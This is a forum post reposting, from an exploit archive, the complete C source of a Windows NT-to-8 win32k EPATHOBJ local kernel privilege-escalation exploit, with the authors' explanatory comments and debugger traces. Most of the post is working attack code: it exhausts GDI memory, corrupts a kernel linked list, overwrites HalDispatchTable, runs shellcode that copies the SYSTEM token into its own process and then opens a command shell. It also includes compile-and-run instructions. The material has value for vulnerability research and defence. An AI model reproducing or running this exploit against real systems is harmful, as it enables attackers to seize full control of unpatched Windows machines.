Nytro Posted July 20, 2013 Report Posted July 20, 2013 Windows 8 to NT EPATHOBJ Local Ring 0 Exploit#ifndef WIN32_NO_STATUS# define WIN32_NO_STATUS#endif#include <stdio.h>#include <stdarg.h>#include <stddef.h>#include <windows.h>#include <assert.h>#ifdef WIN32_NO_STATUS# undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#pragma comment(lib, "shell32")#pragma comment(linker, "/SECTION:.text,ERW")#ifndef PAGE_SIZE# define PAGE_SIZE 0x1000#endif#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// --------------------------------------------------// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit// ----------------------------------------- taviso () cmpxchg8b com -----//// INTRODUCTION//// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the// next list pointer. The bug is really nice, but exploitation when// allocations start failing is tricky.//// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,// PATHRECORD **pppr,// ULONG *pcMax,// ULONG cNeeded)// .text:BFA122CA mov esi, [ebp+ppr]// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]// .text:BFA122D0 push edi// .text:BFA122D1 mov edi, [ebp+pprNew]// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]// .text:BFA122DA xor edx, edx// .text:BFA122DC mov [eax], edx// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]// .text:BFA122E1 and ecx, not (PD_BEZIER)// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx// .text:BFA122ED jnz short loc_BFA122F7// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi//// It turns out this mostly works because newpathrec() is backed by newpathalloc()// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.//// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)// .text:BF9160D7 xor esi, esi// .text:BF9160DE push esi// .text:BF9160DF push esi// .text:BF9160E0 push [ebp+tag]// .text:BF9160E3 push [ebp+size]// .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)// .text:BF9160EB mov esi, eax// .text:BF9160ED test esi, esi// .text:BF9160EF jz short loc_BF9160FF// .text:BF9160F1 push [ebp+size] ; size_t// .text:BF9160F4 push 0 ; int// .text:BF9160F6 push esi ; void *// .text:BF9160F7 call _memset//// However, the PATHALLOC allocator includes it's own freelist implementation, and// if that codepath can satisfy a request the memory isn't zeroed and returned// directly to the caller. This effectively means that we can add our own objects// to the PATHRECORD chain.//// We can force this behaviour under memory pressure relatively easily, I just// spam HRGN objects until they start failing. This isn't super reliable, but it's// good enough for testing.//// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on// // failure. Seriously, do some damn QA Microsoft, wtf.// for (Size = 1 << 26; Size; Size >>= 1) {// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))// ;// }//// Adding user controlled blocks to the freelist is a little trickier, but I've// found that flattening large lists of bezier curves added with PolyDraw() can// accomplish this reliably. The code to do this is something along the lines of://// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {// Points[PointNum].x = 0x41414141 >> 4;// Points[PointNum].y = 0x41414141 >> 4;// PointTypes[PointNum] = PT_BEZIERTO;// }//// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {// BeginPath(Device);// PolyDraw(Device, Points, PointTypes, PointNum);// EndPath(Device);// FlattenPath(Device);// FlattenPath(Device);// EndPath(Device);// }//// We can verify this is working by putting a breakpoint after newpathrec, and// verifying the buffer is filled with recognisable values when it returns://// kd> u win32k!EPATHOBJ::pprFlattenRec+1E// win32k!EPATHOBJ::pprFlattenRec+0x1e:// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)// 95c922bd 83f801 cmp eax,1// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)// 95c922c2 33c0 xor eax,eax// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)// 95c922c9 56 push esi// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]// 95c922cd 8b4604 mov eax,dword ptr [esi+4]// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"// kd> g// fe938fac 41414140// fe938fac 41414140// fe938fac 41414140// fe938fac 41414140// fe938fac 41414140//// The breakpoint dumps the first dword of the returned buffer, which matches the// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move// EPATHOBJ->records->head->next->next into userspace is no problem, and we can// easily break the list traversal in bFlattten()://// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)// {// EPATHOBJ *pathobj; // esi () 1// PATHOBJ *ppath; // eax () 1// BOOL result; // eax () 2// PATHRECORD *ppr; // eax () 3//// pathobj = this;// ppath = this->ppath;// if ( ppath )// {// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )// {// if ( ppr->flags & PD_BEZIER )// {// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);// if ( !ppr )// goto LABEL_2;// }// }// pathobj->fl &= 0xFFFFFFFE;// result = 1;// }// else// {// LABEL_2:// result = 0;// }// return result;// }//// All we have to do is allocate our own PATHRECORD structure, and then spam// PolyDraw() with POINTFIX structures containing co-ordinates that are actually// pointers shifted right by 4 (for this reason the structure must be aligned so// the bits shifted out are all zero).//// We can see this in action by putting a breakpoint in bFlatten when ppr has// moved into userspace://// kd> u win32k!EPATHOBJ::bFlatten// win32k!EPATHOBJ::bFlatten:// 95c92517 8bff mov edi,edi// 95c92519 56 push esi// 95c9251a 8bf1 mov esi,ecx// 95c9251c 8b4608 mov eax,dword ptr [esi+8]// 95c9251f 85c0 test eax,eax// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)// 95c92523 33c0 xor eax,eax// 95c92525 5e pop esi// kd> u// win32k!EPATHOBJ::bFlatten+0xf:// 95c92526 c3 ret// 95c92527 8b4014 mov eax,dword ptr [eax+14h]// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)// 95c9252c f6400810 test byte ptr [eax+8],10h// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)// 95c92532 50 push eax// 95c92533 8bce mov ecx,esi// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)//// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS// flags (defined in winddi.h). Let's break if it's in userspace://// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"// kd> g// 95c9252c f6400810 test byte ptr [eax+8],10h// kd> r// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202// win32k!EPATHOBJ::bFlatten+0x15:// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??//// The question is how to turn that into code execution? It's obviously trivial to// call prFlattenRec with our userspace PATHRECORD..we can do that by setting// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure// poses a problem.//// Let me demonstrate calling it with my own PATHRECORD://// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ// // pathrecord chain.// PathRecord = VirtualAlloc(NULL,// sizeof(PATHRECORD),// MEM_COMMIT | MEM_RESERVE,// PAGE_EXECUTE_READWRITE);//// // Initialise with recognisable debugging values.// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);//// PathRecord->next = (PVOID)(0x41414141);// PathRecord->prev = (PVOID)(0x42424242);//// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from// // EPATHOBJ::bFlatten(), do that here.// PathRecord->flags = PD_BEZIERS;//// // Generate a large number of Bezier Curves made up of pointers to our// // PATHRECORD object.// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {// Points[PointNum].x = (ULONG)(PathRecord) >> 4;// Points[PointNum].y = (ULONG)(PathRecord) >> 4;// PointTypes[PointNum] = PT_BEZIERTO;// }//// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) '';'gc'"// kd> g// win32k!EPATHOBJ::pprFlattenRec+0x28:// 95c922c2 33c0 xor eax,eax// kd> dd ebp+8 L1// a3633be0 00130000//// The ppr object is in userspace! If we peek at it://// kd> dd poi(ebp+8)// 00130000 41414141 42424242 00000010 cccccccc// 00130010 00000000 00000000 00000000 00000000// 00130020 00000000 00000000 00000000 00000000// 00130030 00000000 00000000 00000000 00000000// 00130040 00000000 00000000 00000000 00000000// 00130050 00000000 00000000 00000000 00000000// 00130060 00000000 00000000 00000000 00000000// 00130070 00000000 00000000 00000000 00000000//// There's the next and prev pointer.//// kd> kvn// # ChildEBP RetAddr Args to Child// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)//// The question is how to get PATHALLOC() to succeed under memory pressure so we// can make this exploitable? I'm quite proud of this list cycle trick,// here's how to turn it into an arbitrary write.//// First, we create a watchdog thread that will patch the list atomically// when we're ready. This is needed because we can't exploit the bug while// HeavyAllocPool is failing, because of the early exit in pprFlattenRec://// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)// .text:BFA122BD cmp eax, 1 ; Check for failure// .text:BFA122C0 jz short continue// .text:BFA122C2 xor eax, eax ; Exit early// .text:BFA122C4 jmp early_exit//// So we create a list node like this://// PathRecord->Next = PathRecord;// PathRecord->Flags = 0;//// Then EPATHOBJ::bFlatten() spins forever doing nothing://// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)// {// /* ... *///// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )// {// if ( ppr->flags & PD_BEZIER )// {// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);// }// }//// /* ... */// }//// While it's spinning, we clean up in another thread, then patch the thread (we// can do this, because it's now in userspace) to trigger the exploit. The first// block of pprFlattenRec does something like this://// if ( pprNew->pprPrev )// pprNew->pprPrev->pprnext = pprNew;//// Let's make that write to 0xCCCCCCCC.//// DWORD WINAPI WatchdogThread(LPVOID Parameter)// {//// // This routine waits for a mutex object to timeout, then patches the// // compromised linked list to point to an exploit. We need to do this.// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",// GetCurrentThreadId(),// Mutex);//// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {// // It looks like the main thread is stuck in a call to FlattenPath(),// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean// // up, and then patch the list to trigger our exploit.// while (NumRegion--)// DeleteObject(Regions[NumRegion]);//// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next,&ExploitRecord);//// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);//// } else {// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");// }//// return 0;// }//// PathRecord->next = PathRecord;// PathRecord->prev = (PVOID)(0x42424242);// PathRecord->flags = 0;//// ExploitRecord.next = NULL;// ExploitRecord.prev = 0xCCCCCCCC;// ExploitRecord.flags = PD_BEZIERS;//// Here's the output on Windows 8://// kd> g// *******************************************************************************// * *// * Bugcheck Analysis *// * *// *******************************************************************************//// Use !analyze -v to get detailed debugging information.//// BugCheck 50, {cccccccc, 1, 8f18972e, 2}// *** WARNING: Unable to verify checksum for ComplexPath.exe// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )//// Followup: MachineOwner// ---------//// nt!RtlpBreakWithStatusInstruction:// 810f46f4 cc int 3// kd> kv// ChildEBP RetAddr Args to Child// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])// WARNING: Stack unwind information not available. Following frames may be wrong.// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [sEH])// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])// kd> .trap a03aba2c// ErrCode = 00000002// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286// win32k!EPATHOBJ::pprFlattenRec+0x82:// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????// kd> vertarget// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible// Product: WinNt, suite: TerminalServer SingleUserTS// Built by: 9200.16581.x86fre.win8_gdr.130410-1505// Machine Name:// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)// System Uptime: 0 days 0:02:30.432// kd> .bugcheck// Bugcheck code 00000050// Arguments cccccccc 00000001 8f18972e 00000002//// EXPLOITATION//// We're somewhat limited with what we can do, as we don't control what's// written, it's always a pointer to a PATHRECORD object. We can clobber a// function pointer, but the problem is making it point somewhere useful.//// The solution is to make the Next pointer a valid sequence of instructions,// which jumps to our second stage payload. We have to do that in just 4 bytes// (unless you can find a better call site, let me know if you spot one).//// Thanks to progmboy for coming up with the solution: you reach back up the// stack and pull a SystemCall parameter out of the stack. It turns out// NtQueryIntervalProfile matches this requirement perfectly.//// INSTRUCTIONS//// C:\> cl ComplexPath.c// C:\> ComplexPath//// You might need to run it several times before we get the allocation we need,// it won't crash if it doesn't work, so you can keep trying. I'm not sure how// to improve that.//// CREDIT//// Tavis Ormandy <taviso () cmpxchg8b com>// progmboy <programmeboy () gmail com>//POINT Points[MAX_POLYPOINTS];BYTE PointTypes[MAX_POLYPOINTS];HRGN Regions[MAX_REGIONS];ULONG NumRegion = 0;HANDLE Mutex;DWORD Finished = 0;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH 0x00000001#define PD_ENDSUBPATH 0x00000002#define PD_RESETSTYLE 0x00000004#define PD_CLOSEFIGURE 0x00000008#define PD_BEZIERS 0x00000010typedef struct _POINTFIX{ULONG x;ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD {struct _PATHRECORD *next;struct _PATHRECORD *prev;ULONG flags;ULONG count;POINTFIX points[4];} PATHRECORD, *PPATHRECORD;PPATHRECORD PathRecord;PATHRECORD ExploitRecord;PPATHRECORD ExploitRecordExit;enum { SystemModuleInformation = 11 };enum { ProfileTotalIssues = 2 };typedef struct _RTL_PROCESS_MODULE_INFORMATION {HANDLE Section;PVOID MappedBase;PVOID ImageBase;ULONG ImageSize;ULONG Flags;USHORT LoadOrderIndex;USHORT InitOrderIndex;USHORT LoadCount;USHORT OffsetToFileName;UCHAR FullPathName[256];} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;typedef struct _RTL_PROCESS_MODULES {ULONG NumberOfModules;RTL_PROCESS_MODULE_INFORMATION Modules[1];} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;FARPROC NtQuerySystemInformation;FARPROC NtQueryIntervalProfile;FARPROC PsReferencePrimaryToken;FARPROC PsLookupProcessByProcessId;PULONG HalDispatchTable;ULONG HalQuerySystemInformation;PULONG TargetPid;PVOID *PsInitialSystemProcess;// Search the specified data structure for a member with CurrentValue.BOOL FindAndReplaceMember(PDWORD Structure,DWORD CurrentValue,DWORD NewValue,DWORD MaxSize){DWORD i, Mask;// Microsoft QWORD aligns object pointers, then uses the lower three// bits for quick reference counting.Mask = ~7;// Mask out the reference count.CurrentValue &= Mask;// Scan the structure for any occurrence of CurrentValue.for (i = 0; i < MaxSize; i++) {if ((Structure & Mask) == CurrentValue) {// And finally, replace it with NewValue.Structure = NewValue;return TRUE;}}// Member not found.return FALSE;}// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4){PVOID TargetProcess;// Record that the exploit completed.Finished = 1;// Fix the corrupted HalDispatchTable,HalDispatchTable[1] = HalQuerySystemInformation;// Find the EPROCESS structure for the process I want to escalateif (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {PACCESS_TOKEN SystemToken;PACCESS_TOKEN TargetToken;// Find the Token object for my target process, and the SYSTEM process.TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);// Find the token in the target process, and replace with the system token.FindAndReplaceMember((PDWORD) TargetProcess,(DWORD) TargetToken,(DWORD) SystemToken,0x200);}return 0;}DWORD WINAPI WatchdogThread(LPVOID Parameter){// Here we wait for the main thread to get stuck inside FlattenPath().WaitForSingleObject(Mutex, CYCLE_TIMEOUT);// It looks like we've taken control of the list, and the main thread// is spinning in EPATHOBJ::bFlatten. We can't continue because// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.// So first, we clean up and make sure it can allocate memory.while (NumRegion) DeleteObject(Regions[--NumRegion]);// Now we switch out the Next pointer for our exploit record. As soon// as this completes, the main thread will stop spinning and continue// into EPATHOBJ::pprFlattenRec.InterlockedExchangePointer(&PathRecord->next,&ExploitRecord);return 0;}// I use this routine to generate a table of acceptable stub addresses. The// 0x40 offset is the location of the PULONG parameter to// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever// trick.VOID __declspec(naked) HalDispatchRedirect(VOID){__asm inc eax__asm jmp dword ptr [ebp+0x40]; // 0__asm inc ecx__asm jmp dword ptr [ebp+0x40]; // 1__asm inc edx__asm jmp dword ptr [ebp+0x40]; // 2__asm inc ebx__asm jmp dword ptr [ebp+0x40]; // 3__asm inc esi__asm jmp dword ptr [ebp+0x40]; // 4__asm inc edi__asm jmp dword ptr [ebp+0x40]; // 5__asm dec eax__asm jmp dword ptr [ebp+0x40]; // 6__asm dec ecx__asm jmp dword ptr [ebp+0x40]; // 7__asm dec edx__asm jmp dword ptr [ebp+0x40]; // 8__asm dec ebx__asm jmp dword ptr [ebp+0x40]; // 9__asm dec esi__asm jmp dword ptr [ebp+0x40]; // 10__asm dec edi__asm jmp dword ptr [ebp+0x40]; // 11// Mark end of table.__asm {_emit 0_emit 0_emit 0_emit 0}}int main(int argc, char **argv){HANDLE Thread;HDC Device;ULONG Size;ULONG PointNum;HMODULE KernelHandle;PULONG DispatchRedirect;PULONG Interval;ULONG SavedInterval;RTL_PROCESS_MODULES ModuleInfo;LogMessage(L_INFO, "\r--------------------------------------------------\n""\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n""\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n""\n");NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"),"NtQuerySystemInformation");Mutex = CreateMutex(NULL, FALSE, NULL);DispatchRedirect = (PVOID) HalDispatchRedirect;Interval = (PULONG) ShellCode;SavedInterval = Interval[0];TargetPid = GetCurrentProcessId();LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);// Lookup the address of system modules.NtQuerySystemInformation(SystemModuleInformation,&ModuleInfo,sizeof ModuleInfo,NULL);LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",ModuleInfo.Modules[0].FullPathName,ModuleInfo.Modules[0].ImageBase);// Lookup some system routines we require.KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName +ModuleInfo.Modules[0].OffsetToFileName);HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG)KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG)KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG)KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG)KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;// Search for a ret instruction to install in the damaged HalDispatchTable.HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)- (ULONG) KernelHandle+ (ULONG) ModuleInfo.Modules[0].ImageBase;LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);// Create our PATHRECORD in user space we will get added to the EPATHOBJ// pathrecord chain.PathRecord = VirtualAlloc(NULL,sizeof *PathRecord,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite// loop in EPATHOBJ::bFlatten().PathRecord->flags = 0;PathRecord->next = PathRecord;PathRecord->prev = (PPATHRECORD)(0x42424242);LogMessage(L_INFO, " ->next @ %p", PathRecord->next);LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);// Now we need to create a PATHRECORD at an address that is also a valid// x86 instruction, because the pointer will be interpreted as a function.// I've created a list of candidates in DispatchRedirect.LogMessage(L_INFO, "Searching for an available stub address...");// I need to map at least two pages to guarantee the whole structure is// available.while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),PAGE_SIZE * 2,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE)) {LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",*DispatchRedirect & ~(PAGE_SIZE - 1),GetLastError());// This page is not available, try the next candidate.if (!*++DispatchRedirect) {LogMessage(L_ERROR, "No redirect candidates left, sorry!");return 1;}}LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);// This PATHRECORD must terminate the list and recover.ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;ExploitRecordExit->next = NULL;ExploitRecordExit->prev = NULL;ExploitRecordExit->flags = PD_BEGINSUBPATH;ExploitRecordExit->count = 0;LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);// This is the second stage PATHRECORD, which causes a fresh PATHRECORD// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will// be copied over to the new record. Therefore, we get//// nt!HalDispatchTable[1] = &ExploitRecordExit.//// So we make &ExploitRecordExit a valid sequence of instuctions here.LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;ExploitRecord.count = 4;LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);// Generate a large number of Belier Curves made up of pointers to our// PATHRECORD object.for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {Points[PointNum].x = (ULONG)(PathRecord) >> 4;Points[PointNum].y = (ULONG)(PathRecord) >> 4;PointTypes[PointNum] = PT_BEZIERTO;}// Switch to a dedicated desktop so we don't spam the visible desktop with// our Lines (Not required, just stops the screen from redrawing slowly).SetThreadDesktop(CreateDesktop("DontPanic",NULL,NULL,0,GENERIC_ALL,NULL));// Get a handle to this Desktop.Device = GetDC(NULL);// Take ownership of MutexWaitForSingleObject(Mutex, INFINITE);// Spawn a thread to cleanupThread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");// We need to cause a specific AllocObject() to fail to trigger the// exploitable condition. To do this, I create a large number of rounded// rectangular regions until they start failing. I don't think it matters// what you use to exhaust paged memory, there is probably a better way.//// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on// failure. Seriously, do some damn QA Microsoft, wtf.for (Size = 1 << 26; Size; Size >>= 1) {while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))NumRegion++;}LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);LogMessage(L_INFO, "Flattening curves...");for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {BeginPath(Device);PolyDraw(Device, Points, PointTypes, PointNum);EndPath(Device);FlattenPath(Device);FlattenPath(Device);// Test if exploitation succeeded.NtQueryIntervalProfile(ProfileTotalIssues, Interval);// Repair any damage.*Interval = SavedInterval;EndPath(Device);}if (Finished) {LogMessage(L_INFO, "Success, launching shell...", Finished);ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);LogMessage(L_INFO, "Press any key to exit...");getchar();ExitProcess(0);}// If we reach here, we didn't trigger the condition. Let the other thread know.ReleaseMutex(Mutex);WaitForSingleObject(Thread, INFINITE);ReleaseDC(NULL, Device);// Try again...LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");LogMessage(L_INFO, "Press any key to exit...");getchar();ExitProcess(1);}// A quick logging routine for debug messages.BOOL LogMessage(LEVEL Level, PCHAR Format, ...){CHAR Buffer[1024] = {0};va_list Args;va_start(Args, Format);vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);va_end(Args);switch (Level) {case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;}fflush(stdout);fflush(stderr);return TRUE;}Sursa: Windows 8 to NT EPATHOBJ Local Ring 0 Exploit - CXSecurity.com Quote